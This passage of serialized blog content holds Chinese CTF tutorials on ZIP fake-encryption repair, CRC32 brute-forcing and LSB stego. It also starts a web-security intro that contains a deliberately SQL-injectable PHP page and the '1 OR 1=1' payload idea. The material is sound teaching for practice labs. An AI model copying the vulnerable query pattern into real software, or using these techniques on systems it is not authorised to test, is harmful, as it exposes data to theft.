hidden.png\n",[26,11958,11959],{"__ignoreMap":24},[29,11960,11961,11963,11965],{"class":31,"line":32},[29,11962,5080],{"class":161},[29,11964,5083],{"class":165},[29,11966,4457],{"class":169},[15,11968,11969,11970,389],{},"预期输出中包含 ",[26,11971,11972],{},"flag{lsb_steganography}",[10,11974,11976],{"id":11975},"四核心技能-2zip-伪加密完整实现","四、核心技能 2：ZIP 伪加密（完整实现）",[15,11978,11979,11981],{},[187,11980,189],{},"：理解 ZIP 的\"加密标志位\"结构，学会修复伪加密。",[15,11983,11984,11986],{},[187,11985,255],{},"：先看正常 zip 的十六进制，找到标志位位置；把加密位置 1 模拟伪加密（此时解压报\"需要密码\"）；再把位置 0 修复，验证能正常读出内容。",[1268,11988,11990],{"id":11989},"_41-zip-结构","4.1 ZIP 结构",[15,11992,11993],{},"本地文件头：",[19,11995,11998],{"className":11996,"code":11997,"language":211,"meta":24},[209],"偏移   字段\n0x00  签名 50 4B 03 04\n0x04  版本（2 字节）\n0x06  通用标志位（2 字节，第 0 位 = 加密位）\n",[26,11999,11997],{"__ignoreMap":24},[15,12001,12002,12003,12006],{},"中央目录头（签名 ",[26,12004,12005],{},"50 4B 01 02","）中标志位位于偏移 0x08。",[1268,12008,12010],{"id":12009},"_42-生成-zip-并查看结构","4.2 生成 zip 并查看结构",[15,12012,12013,12015],{},[187,12014,189],{},"：建立\"正常 zip\"的基线，确认本地文件头与中央目录头中标志位的位置。",[19,12017,12019],{"className":311,"code":12018,"language":313,"meta":24,"style":24},"import zipfile\n\nwith zipfile.ZipFile('flag.zip', 'w') as z:\n    z.writestr('flag.txt', 'ctf{zip}')\n\ndata = open('flag.zip', 'rb').read()\nprint(' '.join(f'{b:02x}' for b in data[:60]))\n",[26,12020,12021,12026,12030,12035,12040,12044,12049],{"__ignoreMap":24},[29,12022,12023],{"class":31,"line":32},[29,12024,12025],{},"import zipfile\n",[29,12027,12028],{"class":31,"line":38},[29,12029,101],{"emptyLinePlaceholder":100},[29,12031,12032],{"class":31,"line":104},[29,12033,12034],{},"with zipfile.ZipFile('flag.zip', 'w') as z:\n",[29,12036,12037],{"class":31,"line":110},[29,12038,12039],{},"    z.writestr('flag.txt', 'ctf{zip}')\n",[29,12041,12042],{"class":31,"line":116},[29,12043,101],{"emptyLinePlaceholder":100},[29,12045,12046],{"class":31,"line":122},[29,12047,12048],{},"data = open('flag.zip', 'rb').read()\n",[29,12050,12051],{"class":31,"line":128},[29,12052,12053],{},"print(' '.join(f'{b:02x}' for b in data[:60]))\n",[15,12055,3477],{},[19,12057,12060],{"className":12058,"code":12059,"language":211,"meta":24},[209],"50 4b 03 04 14 00 00 00 00 00 d8 73 0e 5d b0 75 c1 31 08 00 00 00 08 00 00 00 08 00 00 00 66 6c 61 67 2e 74 78 74 63 74 66 7b 7a 69 70 7d 50 4b 01 02 14 03 14 00 00 00 00 00 d8 73\n",[26,12061,12059],{"__ignoreMap":24},[15,12063,12064],{},"解释：",[19,12066,12069],{"className":12067,"code":12068,"language":211,"meta":24},[209],"50 4b 03 04                    ← 本地文件头签名\n14 00                          ← 版本\n00 00                          ← 通用标志位（00 00 = 未加密）\n...\n50 4b 01 02                    ← 中央目录头签名\n14 03 14 00                    ← 版本信息\n00 00                          ← 中央目录标志位（未加密）\n",[26,12070,12068],{"__ignoreMap":24},[1268,12072,12074],{"id":12073},"_43-设置加密位伪加密","4.3 设置加密位（伪加密）",[15,12076,12077,12079],{},[187,12078,255],{},"：只改数据不加密，而是把\"加密标志位\"置 1，让解压程序误以为需要密码。",[19,12081,12083],{"className":311,"code":12082,"language":313,"meta":24,"style":24},"data = bytearray(open('flag.zip', 'rb').read())\n\n# 本地文件头：偏移 6 处标志位置位\nidx = data.find(b'PK\\x03\\x04')\ndata[idx + 6] |= 1\n\n# 中央目录头：偏移 8 处标志位置位\nidx2 = data.find(b'PK\\x01\\x02')\ndata[idx2 + 8] |= 1\n\nopen('flag_enc.zip', 'wb').write(data)\n",[26,12084,12085,12090,12094,12099,12104,12109,12113,12118,12123,12128,12132],{"__ignoreMap":24},[29,12086,12087],{"class":31,"line":32},[29,12088,12089],{},"data = bytearray(open('flag.zip', 'rb').read())\n",[29,12091,12092],{"class":31,"line":38},[29,12093,101],{"emptyLinePlaceholder":100},[29,12095,12096],{"class":31,"line":104},[29,12097,12098],{},"# 本地文件头：偏移 6 处标志位置位\n",[29,12100,12101],{"class":31,"line":110},[29,12102,12103],{},"idx = data.find(b'PK\\x03\\x04')\n",[29,12105,12106],{"class":31,"line":116},[29,12107,12108],{},"data[idx + 6] |= 1\n",[29,12110,12111],{"class":31,"line":122},[29,12112,101],{"emptyLinePlaceholder":100},[29,12114,12115],{"class":31,"line":128},[29,12116,12117],{},"# 中央目录头：偏移 8 处标志位置位\n",[29,12119,12120],{"class":31,"line":134},[29,12121,12122],{},"idx2 = data.find(b'PK\\x01\\x02')\n",[29,12124,12125],{"class":31,"line":140},[29,12126,12127],{},"data[idx2 + 8] |= 1\n",[29,12129,12130],{"class":31,"line":146},[29,12131,101],{"emptyLinePlaceholder":100},[29,12133,12134],{"class":31,"line":367},[29,12135,12136],{},"open('flag_enc.zip', 'wb').write(data)\n",[15,12138,12139],{},"修改后的 hexdump：",[19,12141,12144],{"className":12142,"code":12143,"language":211,"meta":24},[209],"50 4b 03 04 14 00 01 00 00 00 d8 73 ...   ← 本地标志位 01\n50 4b 01 02 14 03 14 00 01 00 00 00 d8 73 ...  ← 中央标志位 01\n",[26,12145,12143],{"__ignoreMap":24},[15,12147,12148],{},"尝试读取：",[19,12150,12152],{"className":311,"code":12151,"language":313,"meta":24,"style":24},"import zipfile\n\ntry:\n    with zipfile.ZipFile('flag_enc.zip') as z:\n        print(z.read('flag.txt'))\nexcept Exception as e:\n    print(type(e).__name__, e)\n",[26,12153,12154,12158,12162,12167,12172,12177,12182],{"__ignoreMap":24},[29,12155,12156],{"class":31,"line":32},[29,12157,12025],{},[29,12159,12160],{"class":31,"line":38},[29,12161,101],{"emptyLinePlaceholder":100},[29,12163,12164],{"class":31,"line":104},[29,12165,12166],{},"try:\n",[29,12168,12169],{"class":31,"line":110},[29,12170,12171],{},"    with zipfile.ZipFile('flag_enc.zip') as z:\n",[29,12173,12174],{"class":31,"line":116},[29,12175,12176],{},"        print(z.read('flag.txt'))\n",[29,12178,12179],{"class":31,"line":122},[29,12180,12181],{},"except Exception as e:\n",[29,12183,12184],{"class":31,"line":128},[29,12185,12186],{},"    print(type(e).__name__, e)\n",[15,12188,3477],{},[19,12190,12193],{"className":12191,"code":12192,"language":211,"meta":24},[209],"RuntimeError File 'flag.txt' is encrypted, password required for extraction\n",[26,12194,12192],{"__ignoreMap":24},[15,12196,12197],{},"程序要求密码——但数据根本没加密，这就是伪加密。",[1268,12199,12201],{"id":12200},"_44-修复","4.4 修复",[15,12203,12204,12206,12207,12210],{},[187,12205,255],{},"：把两处标志位最低位清零（",[26,12208,12209],{},"& 0xfe","），恢复成未加密状态。",[19,12212,12214],{"className":311,"code":12213,"language":313,"meta":24,"style":24},"data = bytearray(open('flag_enc.zip', 'rb').read())\n\nidx = data.find(b'PK\\x03\\x04')\ndata[idx + 6] &= 0xfe          # 清除本地头加密位\nidx2 = data.find(b'PK\\x01\\x02')\ndata[idx2 + 8] &= 0xfe         # 清除中央目录加密位\n\nopen('flag_fixed.zip', 'wb').write(data)\n\nwith zipfile.ZipFile('flag_fixed.zip') as z:\n    print(z.read('flag.txt'))\n",[26,12215,12216,12221,12225,12229,12234,12238,12243,12247,12252,12256,12261],{"__ignoreMap":24},[29,12217,12218],{"class":31,"line":32},[29,12219,12220],{},"data = bytearray(open('flag_enc.zip', 'rb').read())\n",[29,12222,12223],{"class":31,"line":38},[29,12224,101],{"emptyLinePlaceholder":100},[29,12226,12227],{"class":31,"line":104},[29,12228,12103],{},[29,12230,12231],{"class":31,"line":110},[29,12232,12233],{},"data[idx + 6] &= 0xfe          # 清除本地头加密位\n",[29,12235,12236],{"class":31,"line":116},[29,12237,12122],{},[29,12239,12240],{"class":31,"line":122},[29,12241,12242],{},"data[idx2 + 8] &= 0xfe         # 清除中央目录加密位\n",[29,12244,12245],{"class":31,"line":128},[29,12246,101],{"emptyLinePlaceholder":100},[29,12248,12249],{"class":31,"line":134},[29,12250,12251],{},"open('flag_fixed.zip', 'wb').write(data)\n",[29,12253,12254],{"class":31,"line":140},[29,12255,101],{"emptyLinePlaceholder":100},[29,12257,12258],{"class":31,"line":146},[29,12259,12260],{},"with zipfile.ZipFile('flag_fixed.zip') as z:\n",[29,12262,12263],{"class":31,"line":367},[29,12264,12265],{},"    print(z.read('flag.txt'))\n",[15,12267,3477],{},[19,12269,12272],{"className":12270,"code":12271,"language":211,"meta":24},[209],"b'ctf{zip}'\n",[26,12273,12271],{"__ignoreMap":24},[15,12275,12276,12277,12280],{},"实战提示：很多伪加密题只改本地头或中央目录头之一，",[26,12278,12279],{},"binwalk -e"," 常常直接绕过标志位提取，先试它再手工改。",[10,12282,12284],{"id":12283},"五核心技能-3crc32-爆破","五、核心技能 3：CRC32 爆破",[15,12286,12287,12289],{},[187,12288,189],{},"：当压缩包内文件内容很短、又拿不到明文时，用校验值反推内容。",[15,12291,12292,12294],{},[187,12293,255],{},"：ZIP 记录每个文件的 CRC32（明文校验和）。枚举所有短内容，算 CRC 与记录值比对，相等即明文。",[15,12296,12297],{},"ZIP 中央目录记录每个文件的 CRC32。当文件内容很短（1-4 字符）时，枚举内容匹配校验值：",[19,12299,12301],{"className":311,"code":12300,"language":313,"meta":24,"style":24},"import zipfile, zlib, itertools\n# zipfile：读写 zip；zlib：提供 crc32 校验函数；itertools：组合枚举。\n\nz = zipfile.ZipFile('flag.zip')\ntarget = z.getinfo('flag.txt').CRC\n# getinfo('flag.txt')：读取该文件的目录信息；.CRC 属性是它的 CRC32 值。\nprint(\"目标 CRC:\", target)\n\ncharset = 'ctf123{}_abcdefghijklmnopqrstuvwxyz'\n# 题目语境下的候选字符集，缩小枚举空间。\nfor length in range(1, 5):\n    for tup in itertools.product(charset, repeat=length):\n        # product(charset, repeat=length)：生成长度为 length 的所有组合。\n        s = ''.join(tup).encode()\n        # ''.join(tup)：组合元组拼成字符串；encode() 转字节。\n        if zlib.crc32(s) & 0xffffffff == target:\n            # zlib.crc32 返回有符号整数，& 0xffffffff 转成无符号再比对。\n            print(\"爆破结果:\", s)\n            exit()\n",[26,12302,12303,12308,12313,12317,12322,12327,12332,12337,12341,12346,12351,12356,12361,12366,12371,12376,12381,12386,12391],{"__ignoreMap":24},[29,12304,12305],{"class":31,"line":32},[29,12306,12307],{},"import zipfile, zlib, itertools\n",[29,12309,12310],{"class":31,"line":38},[29,12311,12312],{},"# zipfile：读写 zip；zlib：提供 crc32 校验函数；itertools：组合枚举。\n",[29,12314,12315],{"class":31,"line":104},[29,12316,101],{"emptyLinePlaceholder":100},[29,12318,12319],{"class":31,"line":110},[29,12320,12321],{},"z = zipfile.ZipFile('flag.zip')\n",[29,12323,12324],{"class":31,"line":116},[29,12325,12326],{},"target = z.getinfo('flag.txt').CRC\n",[29,12328,12329],{"class":31,"line":122},[29,12330,12331],{},"# getinfo('flag.txt')：读取该文件的目录信息；.CRC 属性是它的 CRC32 值。\n",[29,12333,12334],{"class":31,"line":128},[29,12335,12336],{},"print(\"目标 CRC:\", target)\n",[29,12338,12339],{"class":31,"line":134},[29,12340,101],{"emptyLinePlaceholder":100},[29,12342,12343],{"class":31,"line":140},[29,12344,12345],{},"charset = 'ctf123{}_abcdefghijklmnopqrstuvwxyz'\n",[29,12347,12348],{"class":31,"line":146},[29,12349,12350],{},"# 题目语境下的候选字符集，缩小枚举空间。\n",[29,12352,12353],{"class":31,"line":367},[29,12354,12355],{},"for length in range(1, 5):\n",[29,12357,12358],{"class":31,"line":373},[29,12359,12360],{},"    for tup in itertools.product(charset, repeat=length):\n",[29,12362,12363],{"class":31,"line":379},[29,12364,12365],{},"        # product(charset, repeat=length)：生成长度为 length 的所有组合。\n",[29,12367,12368],{"class":31,"line":775},[29,12369,12370],{},"        s = ''.join(tup).encode()\n",[29,12372,12373],{"class":31,"line":781},[29,12374,12375],{},"        # ''.join(tup)：组合元组拼成字符串；encode() 转字节。\n",[29,12377,12378],{"class":31,"line":786},[29,12379,12380],{},"        if zlib.crc32(s) & 0xffffffff == target:\n",[29,12382,12383],{"class":31,"line":2600},[29,12384,12385],{},"            # zlib.crc32 返回有符号整数，& 0xffffffff 转成无符号再比对。\n",[29,12387,12388],{"class":31,"line":2606},[29,12389,12390],{},"            print(\"爆破结果:\", s)\n",[29,12392,12393],{"class":31,"line":2611},[29,12394,12395],{},"            exit()\n",[15,12397,12398,12399,12402],{},"实际输出（目标内容 ",[26,12400,12401],{},"ctf1","）：",[19,12404,12407],{"className":12405,"code":12406,"language":211,"meta":24},[209],"目标 CRC: 961973094\n爆破结果: b'ctf1'\n",[26,12408,12406],{"__ignoreMap":24},[15,12410,12411,12412,12415,12416,12419],{},"注意 ",[26,12413,12414],{},"zlib.crc32"," 返回有符号整数，需要 ",[26,12417,12418],{},"& 0xffffffff"," 归一化。",[10,12421,2133],{"id":2132},[455,12423,12424,12434],{},[458,12425,12426],{},[461,12427,12428,12430,12432],{},[464,12429,967],{},[464,12431,2144],{},[464,12433,5106],{},[471,12435,12436,12448,12462,12475],{},[461,12437,12438,12440,12443],{},[476,12439,1283],{},[476,12441,12442],{},"看类型",[476,12444,12445],{},[26,12446,12447],{},"file flag.png",[461,12449,12450,12452,12455],{},[476,12451,4514],{},[476,12453,12454],{},"看文件头与结构",[476,12456,12457,933,12459],{},[26,12458,5133],{},[26,12460,12461],{},"xxd flag.zip | head",[461,12463,12464,12466,12469],{},[476,12465,4606],{},[476,12467,12468],{},"扫描/提取隐藏文件",[476,12470,12471,933,12473],{},[26,12472,5161],{},[26,12474,5164],{},[461,12476,12477,12479,12482],{},[476,12478,5080],{},[476,12480,12481],{},"LSB 自动检测",[476,12483,12484],{},[26,12485,12486],{},"zsteg -a flag.png",[10,12488,12490],{"id":12489},"七小-ctf-实战综合题","七、小 CTF 实战：综合题",[15,12492,12493,12495],{},[187,12494,189],{},"：把前三节串成一道完整题目。",[15,12497,12498,12500],{},[187,12499,255],{},"：先排除简单情况（file/strings/binwalk），再怀疑 LSB 提取；若提取结果是 zip 头（PK），保存后检查伪加密。",[15,12502,2229,12503,389],{},[26,12504,5173],{},[15,12506,5176],{},[19,12508,12510],{"className":152,"code":12509,"language":154,"meta":24,"style":24},"file flag.png          # PNG image data\nstrings flag.png | grep -i flag    # 无输出\nbinwalk flag.png                   # 无隐藏文件\n",[26,12511,12512,12521,12538],{"__ignoreMap":24},[29,12513,12514,12516,12518],{"class":31,"line":32},[29,12515,1283],{"class":161},[29,12517,4485],{"class":169},[29,12519,12520],{"class":823},"          # PNG image data\n",[29,12522,12523,12525,12527,12529,12531,12533,12535],{"class":31,"line":38},[29,12524,1326],{"class":161},[29,12526,4485],{"class":169},[29,12528,1514],{"class":1182},[29,12530,1517],{"class":161},[29,12532,4583],{"class":165},[29,12534,6240],{"class":169},[29,12536,12537],{"class":823},"    # 无输出\n",[29,12539,12540,12542,12544],{"class":31,"line":104},[29,12541,4606],{"class":161},[29,12543,4485],{"class":169},[29,12545,12546],{"class":823},"                   # 无隐藏文件\n",[15,12548,12549],{},"第二步：怀疑 LSB，运行提取脚本：",[19,12551,12553],{"className":12552,"code":5054,"language":211,"meta":24},[209],[26,12554,5054],{"__ignoreMap":24},[15,12556,12557,12558,12560],{},"变体：若提取出的字节不是文本而是 ",[26,12559,4392],{}," 开头，把它保存为 zip，再检查是否伪加密：",[19,12562,12564],{"className":311,"code":12563,"language":313,"meta":24,"style":24},"with open('extracted.zip', 'wb') as f:\n    f.write(data)\n",[26,12565,12566,12571],{"__ignoreMap":24},[29,12567,12568],{"class":31,"line":32},[29,12569,12570],{},"with open('extracted.zip', 'wb') as f:\n",[29,12572,12573],{"class":31,"line":38},[29,12574,12575],{},"    f.write(data)\n",[15,12577,12578],{},"然后按第四节流程检查并修复标志位。",[10,12580,2426],{"id":2425},[15,12582,12583,12584,12586,12587,65,12589,12591],{},"取证主线：",[26,12585,1283],{}," 确认类型 → ",[26,12588,1326],{},[26,12590,4606],{}," 排除简单情况 → LSB 提取 → 压缩包伪加密修复。这三板斧可覆盖大部分入门与中级 Misc 题。",[1114,12593,12594],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":24,"searchDepth":38,"depth":38,"links":12596},[12597,12598,12599,12600,12601,12602,12603,12604],{"id":11599,"depth":104,"text":11600},{"id":1213,"depth":104,"text":1214},{"id":11645,"depth":104,"text":11646},{"id":11975,"depth":104,"text":11976},{"id":12283,"depth":104,"text":12284},{"id":2132,"depth":104,"text":2133},{"id":12489,"depth":104,"text":12490},{"id":2425,"depth":104,"text":2426},"完整实现 LSB 隐写的隐藏与提取、ZIP 伪加密的十六进制修改与修复、CRC32 短内容爆破。",{"date":1132,"image":3299,"alt":12607,"tags":12608,"published":100},"隐写与取证深入实战",[1136,5272,12609,1138],"隐写","/blogs/ctf-misc-stego-forensics-deep-dive",{"title":11594,"description":12605},"blogs/20. ctf-misc-stego-forensics-deep-dive","o_6kN9OqAx31pkyKuqmJvPnMsOsMrKsw-PBDwWsaepk",{"id":12615,"title":12616,"body":12617,"description":14464,"extension":1130,"meta":14465,"navigation":100,"ogImage":14466,"path":14469,"seo":14470,"stem":14471,"__hash__":14472},"content/blogs/9. ctf-web-overview.md","CTF Web 入门：必学漏洞与基础工具",{"type":7,"value":12618,"toc":14452},[12619,12623,12626,12645,12651,12657,12659,12717,12727,12731,12734,12822,12825,12829,12833,12836,12839,12867,12872,12984,12987,13000,13004,13006,13020,13022,13027,13031,13039,13052,13057,13060,13090,13093,13098,13101,13104,13129,13134,13137,13162,13165,13173,13177,13182,13190,13193,13218,13221,13251,13256,13259,13284,13288,13291,13326,13330,13333,13363,13367,13370,13393,13397,13410,13420,13424,13429,13446,13450,13456,13465,13469,13485,13490,13494,13510,13512,13558,13567,13571,13574,13621,13628,13632,13635,13706,13713,13717,13722,13746,13750,13756,13789,13793,13824,13826,13832,13836,13867,13870,13874,13905,13908,13912,13937,13941,13944,13947,13961,13965,13970,14002,14011,14017,14048,14051,14055,14058,14112,14115,14119,14122,14125,14143,14145,14150,14153,14171,14176,14179,14205,14212,14216,14223,14243,14247,14252,14282,14287,14291,14300,14320,14322,14350,14353,14362,14371,14385,14389,14394,14437,14444,14446,14449],[10,12620,12622],{"id":12621},"一开始之前http-请求到底是什么","一、开始之前：HTTP 请求到底是什么",[15,12624,12625],{},"Web 题目就是一个网站，解题就是向它发请求。先看一个请求长什么样。用 curl 访问一个带参数的 URL：",[19,12627,12629],{"className":152,"code":12628,"language":154,"meta":24,"style":24},"curl -v \"http://127.0.0.1:8000/index.php?id=1\"\n",[26,12630,12631],{"__ignoreMap":24},[29,12632,12633,12635,12638,12640,12643],{"class":31,"line":32},[29,12634,5524],{"class":161},[29,12636,12637],{"class":165}," -v",[29,12639,5527],{"class":1526},[29,12641,12642],{"class":169},"http://127.0.0.1:8000/index.php?id=1",[29,12644,5533],{"class":1526},[15,12646,12647,12650],{},[26,12648,12649],{},"-v"," 会显示完整过程，输出示例：",[19,12652,12655],{"className":12653,"code":12654,"language":211,"meta":24},[209],"> GET /index.php?id=1 HTTP/1.1\n> Host: 127.0.0.1:8000\n> User-Agent: curl/8.0.1\n>\n\u003C HTTP/1.1 200 OK\n\u003C Content-Type: text/html\n\u003C\n\u003Ch1>文章标题\u003C/h1>\n",[26,12656,12654],{"__ignoreMap":24},[15,12658,12064],{},[455,12660,12661,12670],{},[458,12662,12663],{},[461,12664,12665,12668],{},[464,12666,12667],{},"部分",[464,12669,1608],{},[471,12671,12672,12689,12699,12709],{},[461,12673,12674,12679],{},[476,12675,12676],{},[26,12677,12678],{},"GET /index.php?id=1",[476,12680,12681,12682,12685,12686],{},"方法 GET，路径 ",[26,12683,12684],{},"/index.php","，参数 ",[26,12687,12688],{},"id=1",[461,12690,12691,12696],{},[476,12692,12693],{},[26,12694,12695],{},"Host",[476,12697,12698],{},"目标主机",[461,12700,12701,12706],{},[476,12702,12703],{},[26,12704,12705],{},"HTTP/1.1 200 OK",[476,12707,12708],{},"协议版本与状态码，200 表示成功",[461,12710,12711,12714],{},[476,12712,12713],{},"正文",[476,12715,12716],{},"服务器返回的 HTML",[15,12718,12719,12720,12726],{},"Web 漏洞几乎都源于一件事：",[187,12721,12722,12723,12725],{},"参数 ",[26,12724,5499],{}," 是用户可控的，服务器却直接把它拼进了 SQL、命令、HTML 或模板","。下面三个漏洞都是这个原因。",[10,12728,12730],{"id":12729},"二环境准备先搭一个能打的靶场","二、环境准备：先搭一个能打的靶场",[15,12732,12733],{},"推荐 sqli-labs（专练 SQL 注入）和 DVWA（综合靶场）。在 Linux（Kali/Ubuntu）上：",[19,12735,12737],{"className":152,"code":12736,"language":154,"meta":24,"style":24},"# 方式一：源码部署（需要 PHP + MySQL）\napt install php php-mysql mariadb-server\ngit clone https://github.com/Audi-1/sqli-labs.git\ncd sqli-labs\nphp -S 127.0.0.1:8000        # 启动后浏览器访问，点 Setup/reset Database\n\n# 方式二：Docker 部署（最简单）\ndocker pull tavenli/sqli-labs\ndocker run -d -p 8000:80 tavenli/sqli-labs\n",[26,12738,12739,12744,12759,12767,12773,12785,12789,12794,12805],{"__ignoreMap":24},[29,12740,12741],{"class":31,"line":32},[29,12742,12743],{"class":823},"# 方式一：源码部署（需要 PHP + MySQL）\n",[29,12745,12746,12748,12750,12753,12756],{"class":31,"line":38},[29,12747,1227],{"class":161},[29,12749,1230],{"class":169},[29,12751,12752],{"class":169}," php",[29,12754,12755],{"class":169}," php-mysql",[29,12757,12758],{"class":169}," mariadb-server\n",[29,12760,12761,12763,12765],{"class":31,"line":104},[29,12762,5351],{"class":161},[29,12764,5354],{"class":169},[29,12766,5357],{"class":169},[29,12768,12769,12771],{"class":31,"line":110},[29,12770,1871],{"class":1870},[29,12772,5364],{"class":169},[29,12774,12775,12777,12779,12782],{"class":31,"line":116},[29,12776,5293],{"class":161},[29,12778,5371],{"class":165},[29,12780,12781],{"class":169}," 127.0.0.1:8000",[29,12783,12784],{"class":823},"        # 启动后浏览器访问，点 Setup/reset Database\n",[29,12786,12787],{"class":31,"line":122},[29,12788,101],{"emptyLinePlaceholder":100},[29,12790,12791],{"class":31,"line":128},[29,12792,12793],{"class":823},"# 方式二：Docker 部署（最简单）\n",[29,12795,12796,12799,12802],{"class":31,"line":134},[29,12797,12798],{"class":161},"docker",[29,12800,12801],{"class":169}," pull",[29,12803,12804],{"class":169}," tavenli/sqli-labs\n",[29,12806,12807,12809,12812,12814,12817,12820],{"class":31,"line":140},[29,12808,12798],{"class":161},[29,12810,12811],{"class":169}," run",[29,12813,1482],{"class":165},[29,12815,12816],{"class":165}," -p",[29,12818,12819],{"class":169}," 8000:80",[29,12821,12804],{"class":169},[15,12823,12824],{},"本文的示例都基于\"自建的最小页面\"，因为自建页面能完整看到源码，理解更透彻。下一节开始逐步搭建。",[10,12826,12828],{"id":12827},"三核心漏洞-1sql-注入完整复现","三、核心漏洞 1：SQL 注入（完整复现）",[1268,12830,12832],{"id":12831},"_31-平台与代码","3.1 平台与代码",[15,12834,12835],{},"平台：Linux + PHP + MySQL。",[15,12837,12838],{},"第一步，建数据库。在 MySQL 里执行：",[19,12840,12841],{"className":5318,"code":5390,"language":5320,"meta":24,"style":24},[26,12842,12843,12847,12851,12855,12859,12863],{"__ignoreMap":24},[29,12844,12845],{"class":31,"line":32},[29,12846,5397],{},[29,12848,12849],{"class":31,"line":38},[29,12850,5402],{},[29,12852,12853],{"class":31,"line":104},[29,12854,5407],{},[29,12856,12857],{"class":31,"line":110},[29,12858,5412],{},[29,12860,12861],{"class":31,"line":116},[29,12862,5417],{},[29,12864,12865],{"class":31,"line":122},[29,12866,5422],{},[15,12868,12869,12870,85],{},"第二步，写漏洞页面 ",[26,12871,5427],{},[19,12873,12875],{"className":5291,"code":12874,"language":5293,"meta":24,"style":24},"\u003C?php\n$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n// 上面的 mysqli 构造函数：参数依次是数据库主机、用户名、密码、库名；\n// 返回值是数据库连接对象，后面所有查询都通过它执行。\n\n$id = $_GET['id'];\n// 从 URL 查询参数中取出 id（例如访问 ?id=1 时这里得到字符串 \"1\"）。\n// 注意：$_GET 拿到的永远是字符串，且完全由用户控制。\n\n$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n// 关键漏洞行：用字符串拼接把 $id 直接塞进 SQL 语句。\n// 如果 $id 是 \"1 OR 1=1\"，这条语句就变成\n// SELECT ... WHERE id = 1 OR 1=1，条件恒真，会返回全部记录。\n\n$result = $conn->query($sql);\n// 把拼好的 SQL 字符串发给 MySQL 执行；$result 是结果集对象。\n\nwhile ($row = $result->fetch_assoc()) {\n    // fetch_assoc() 每次取出一行，返回关联数组，例如 ['id'=>1, 'title'=>'hello', ...]\n    // 取不到更多行时返回 null，while 结束。\n    echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n    // 把每行的三个字段拼起来输出到页面，攻击者靠这些输出判断查询结果。\n}\n?>\n",[26,12876,12877,12881,12885,12890,12895,12899,12903,12908,12913,12917,12921,12926,12931,12936,12940,12944,12949,12953,12957,12962,12967,12971,12976,12980],{"__ignoreMap":24},[29,12878,12879],{"class":31,"line":32},[29,12880,5437],{},[29,12882,12883],{"class":31,"line":38},[29,12884,5442],{},[29,12886,12887],{"class":31,"line":104},[29,12888,12889],{},"// 上面的 mysqli 构造函数：参数依次是数据库主机、用户名、密码、库名；\n",[29,12891,12892],{"class":31,"line":110},[29,12893,12894],{},"// 返回值是数据库连接对象，后面所有查询都通过它执行。\n",[29,12896,12897],{"class":31,"line":116},[29,12898,101],{"emptyLinePlaceholder":100},[29,12900,12901],{"class":31,"line":122},[29,12902,5300],{},[29,12904,12905],{"class":31,"line":128},[29,12906,12907],{},"// 从 URL 查询参数中取出 id（例如访问 ?id=1 时这里得到字符串 \"1\"）。\n",[29,12909,12910],{"class":31,"line":134},[29,12911,12912],{},"// 注意：$_GET 拿到的永远是字符串，且完全由用户控制。\n",[29,12914,12915],{"class":31,"line":140},[29,12916,101],{"emptyLinePlaceholder":100},[29,12918,12919],{"class":31,"line":146},[29,12920,5451],{},[29,12922,12923],{"class":31,"line":367},[29,12924,12925],{},"// 关键漏洞行：用字符串拼接把 $id 直接塞进 SQL 语句。\n",[29,12927,12928],{"class":31,"line":373},[29,12929,12930],{},"// 如果 $id 是 \"1 OR 1=1\"，这条语句就变成\n",[29,12932,12933],{"class":31,"line":379},[29,12934,12935],{},"// SELECT ... WHERE id = 1 OR 1=1，条件恒真，会返回全部记录。\n",[29,12937,12938],{"class":31,"line":775},[29,12939,101],{"emptyLinePlaceholder":100},[29,12941,12942],{"class":31,"line":781},[29,12943,5456],{},[29,12945,12946],{"class":31,"line":786},[29,12947,12948],{},"// 把拼好的 SQL 字符串发给 MySQL 执行；$result 是结果集对象。\n",[29,12950,12951],{"class":31,"line":2600},[29,12952,101],{"emptyLinePlaceholder":100},[29,12954,12955],{"class":31,"line":2606},[29,12956,5461],{},[29,12958,12959],{"class":31,"line":2611},[29,12960,12961],{},"    // fetch_assoc() 每次取出一行，返回关联数组，例如 ['id'=>1, 'title'=>'hello', ...]\n",[29,12963,12964],{"class":31,"line":4025},[29,12965,12966],{},"    // 取不到更多行时返回 null，while 结束。\n",[29,12968,12969],{"class":31,"line":4031},[29,12970,5466],{},[29,12972,12973],{"class":31,"line":4037},[29,12974,12975],{},"    // 把每行的三个字段拼起来输出到页面，攻击者靠这些输出判断查询结果。\n",[29,12977,12978],{"class":31,"line":4043},[29,12979,149],{},[29,12981,12982],{"class":31,"line":4049},[29,12983,5475],{},[15,12985,12986],{},"第三步，启动：",[19,12988,12990],{"className":152,"code":12989,"language":154,"meta":24,"style":24},"php -S 127.0.0.1:8000\n",[26,12991,12992],{"__ignoreMap":24},[29,12993,12994,12996,12998],{"class":31,"line":32},[29,12995,5293],{"class":161},[29,12997,5371],{"class":165},[29,12999,5374],{"class":169},[1268,13001,13003],{"id":13002},"_32-正常请求","3.2 正常请求",[15,13005,205],{},[19,13007,13008],{"className":152,"code":5517,"language":154,"meta":24,"style":24},[26,13009,13010],{"__ignoreMap":24},[29,13011,13012,13014,13016,13018],{"class":31,"line":32},[29,13013,5524],{"class":161},[29,13015,5527],{"class":1526},[29,13017,5530],{"class":169},[29,13019,5533],{"class":1526},[15,13021,385],{},[19,13023,13025],{"className":13024,"code":5539,"language":211,"meta":24},[209],[26,13026,5539],{"__ignoreMap":24},[1268,13028,13030],{"id":13029},"_33-判断注入点三步","3.3 判断注入点（三步）",[15,13032,13033,13035,13036,13038],{},[187,13034,189],{},"：确认 ",[26,13037,5499],{}," 参数确实能被拼进 SQL 